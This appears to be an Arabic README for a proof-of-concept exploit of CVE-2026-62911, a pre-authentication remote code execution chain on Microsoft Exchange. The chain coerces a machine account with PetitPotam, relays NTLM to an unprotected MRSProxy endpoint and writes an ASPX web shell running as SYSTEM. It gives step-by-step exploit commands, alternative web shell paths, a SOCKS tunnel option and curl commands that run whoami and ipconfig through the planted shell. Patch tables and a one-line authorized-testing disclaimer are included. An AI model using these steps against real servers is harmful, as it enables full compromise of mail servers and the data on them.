
استغلال إثبات مفهوم لثغرة CVE-2026-62911: تنفيذ أوامر عن بُعد قبل المصادقة (RCE) على Microsoft Exchange عبر ترحيل NTLM إلى MRSProxy، مع كتابة ويب شيل بصيغة ASPX لتنفيذ الأوامر بصلاحيات SYSTEM.
ثغرة RCE قبل المصادقة على Microsoft Exchange Server. لا حاجة لبيانات اعتماد.
استخدم Orange Tsai (DEVCORE) هذه الثغرة في Pwn2Own Berlin 2026 ضمن سلسلة من 3 ثغرات. جائزة 200,000 دولار وسيطرة كاملة على مستوى SYSTEM.
يعرض Exchange خدمة MailboxReplicationProxyService (MRSProxy) على مسارين. أحدهما يستضيفه HTTP.sys بدون حماية موسّعة:
| المسار | المستضيف | الحماية الموسّعة |
|---|
/EWS/MRSProxy.svc | IIS | متوفرة. آمن. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | غير متوفرة. هدف ترحيل. |
تقبل نقطة النهاية على HTTP.sys مصادقة Negotiate لكنها لا تتحقق أبدًا من ارتباطات القناة. ترحّل تجزئة حساب جهاز إليها، فيتعامل معك Exchange كما لو كنت ذلك الجهاز. تمتلك حسابات الأجهزة صلاحية ms-Exch-EPI-Token-Serialization افتراضيًا، لذلك تمنح خدمة WCF وصولًا كاملًا.
بمجرد الدخول، تأخذ IMailbox_Config6() معامل filePath. وتكتب PstDestinationMailbox.ConfigPst() أي مسار تعطيه إياه. لا يوجد فحص لامتداد الملف. وجّهها إلى دليل IIS واستدعِ IMailbox_Connect()، فيُكتب ملف على القرص. اجعل هذا الملف ويب شيل ASPX. انتهى الأمر.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| المنتج | الإصدارات الأقدم (المتأثرة) | الإصدار المُصلَح | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
انتهى دعم Exchange 2016 في أكتوبر 2025. لا يصدر إصلاح أغسطس 2026 إلا عبر التحديثات الأمنية الموسّعة (ESU). إذا لم تشترِ المؤسسة ESU، فلن يتوفر تصحيح.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
خمس خطوات:
شغّل MS-EFSR (EfsRpcOpenFileRaw) على EX02. سيعيد المصادقة إليك باستخدام حساب الجهاز الخاص به. يعمل PetitPotam بدون مصادقة ضد Exchange غير المُحدَّث.
يلتقط مستمع SMB لديك رسالة تفاوض NTLM من EX02$.
مرّرها عبر HTTPS إلى MRSProxy على EX01. لا تفحص نقطة النهاية EPA، لذلك يكتمل الترحيل. تمتلك حسابات الأجهزة بالفعل صلاحية تسلسل Exchange، لذلك يمر التفويض.
أرسل استدعاءات WCF: IMailbox_Config6 بمسار مثل C:\inetpub\wwwroot\aspnet_client\shell.aspx، ثم IMailbox_Connect. يكتب Exchange الملف.
أرسل طلبًا إلى الويب شيل. ستكون SYSTEM.
ثبّت التبعيات:
pip install impacket pysocks
تحقق مما إذا كانت MRSProxy مكشوفة:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
تريد أن ترى Microsoft-HTTPAPI/2.0 مع Negotiate في استجابة 401. يؤكد ذلك أن نقطة نهاية HTTP.sys نشطة وأن EPA غائبة.
شغّل الاستغلال:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
إذا كان PetitPotam يتطلب مصادقة على هدفك:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
عبر نفق SOCKS:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
اختر موقع كتابة مختلفًا:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
تحقق من نجاح كتابة الويب شيل:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
استخدمه:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| مسار القرص | URL | السبب |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | دليل سكربتات العملاء الافتراضي في IIS. عادةً قابل للكتابة ويقدّم ASPX. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | نفسه، لكن أقصر. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | مجلد مصادقة OWA. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | مجلد مصادقة ECP. |
لأغراض الاختبار المصرَّح به فقط. احصل على إذن كتابي قبل تشغيل هذا ضد أي هدف.